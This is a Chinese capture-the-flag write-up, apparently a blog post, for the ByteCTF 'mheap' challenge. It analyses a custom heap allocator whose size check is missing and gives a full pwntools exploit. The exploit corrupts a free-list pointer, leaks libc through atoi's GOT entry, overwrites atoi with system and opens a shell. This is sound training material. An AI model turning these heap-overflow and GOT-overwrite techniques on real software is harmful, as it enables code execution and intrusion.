ByteCTF-mheap WP

保护

在这里插入图片描述

分析

  • 程序首先分配一个 4096 大小的内存,内存基址指定为 0x23330000
    在这里插入图片描述

  • 并自己实现了一套堆分配机制,类似于 fastbin ,通过逆向分析得其结构如下:

      typedef struct Chunk{
      	int Size;
      	Chunk *Fd;
      	Chunk *Bk;
      }
    
  • 分配大小以 16 字节对齐,并且没有大小限制,导致可以分配超出 0x23331000 的地址。漏洞由此而生,在后面的 read 函数在向非法地址写入数据时就会返回 -1 ,这样就可以向低地址溢出写。
    在这里插入图片描述在这里插入图片描述

  • 可以通过溢出改写 heap_list 中的某一项指向 chunk 结构体(也就是指向 0x00000000004040D0 )。另外,在释放的时候,会将 heap_list 中指定位置的指针减去0x10加入到链表中;在分配的时候,会先遍历队列是否有同样大小的指针,有则返回这个指针加上0x10。
    在这里插入图片描述
    在这里插入图片描述

  • 首先分配一个非常大的chunk0,再申请一个小的chunk1,这个小的chunk1就是我们要溢出修改的,注意此时并没有超出 0x23331000

  • 然后释放掉小的chunk1,使其进入链表。

  • 申请一个大的chunk2,超出 0x23331000

  • 编辑chunk2,将溢出修改chunk1的FD指针为chunk结构体指针。

  • 以上过程的写法:

      heap_list=0x00000000004040E0
      prev_chunk_list=0x00000000004040D0
      atoi_got=elf.got['atoi']
      Add(0,0xfb0,'\xaa'*0x20+'\n')
      Add(1,0x10,'\xbb'*0x10)
      Del(1)
      Add(2,0x40,p64(prev_chunk_list)+'\x00'*0x2f+'\n')
    
  • 此时内存布局如下:
    在这里插入图片描述

  • 可见 chunk1.Fd已被篡改为指向chunk的结构体指针,只要再申请 0x23330fc0-0x10 大小的chunk即可得到 0x4040e0 地址,就可以泄露内存和任意地址写了。

  • 后续写法:

    Add(3,0x0000000023330fc0-0x10,p64(atoi_got)+’\n’)

  • 此时内存布局:
    在这里插入图片描述

完整EXP

from pwn import*

#context.log_level='debug'
p=process('./mheap')
elf=ELF('./mheap',checksec=False)
libc=elf.libc

def Add(idx,size,data):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('size: ',str(size))
    p.sendafter('Content: ',data)

def Del(idx):
    p.sendlineafter('choice: ','3')
    p.sendlineafter('Index: ',str(idx))

def Show(idx):
    p.sendlineafter('choice: ','2')
    p.sendlineafter('Index: ',str(idx))

def Edit(idx,data):
    p.sendlineafter('choice: ','4')
    p.sendlineafter('Index: ',str(idx))
    p.send(data)

heap_list=0x00000000004040E0
prev_chunk_list=0x00000000004040D0
atoi_got=elf.got['atoi']
Add(0,0xfb0,'\xaa'*0x20+'\n')
Add(1,0x10,'\xbb'*0x10)
Del(1)
Add(2,0x40,p64(prev_chunk_list)+'\x00'*0x2f+'\n')
Add(3,0x0000000023330fc0-0x10,p64(atoi_got)+'\n')
Show(0)
libc_addr=u64(p.recv(6).ljust(8,'\0'))-libc.sym['atoi']
system=libc.sym['system']+libc_addr
success('libc_addr:'+hex(libc_addr))
success('system:'+hex(system))
Edit(0,p64(system))
p.sendline('/bin/sh')

p.interactive()

总结

  • read 函数写入非法地址时会返回 -1 ,但是程序并不会 crash
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值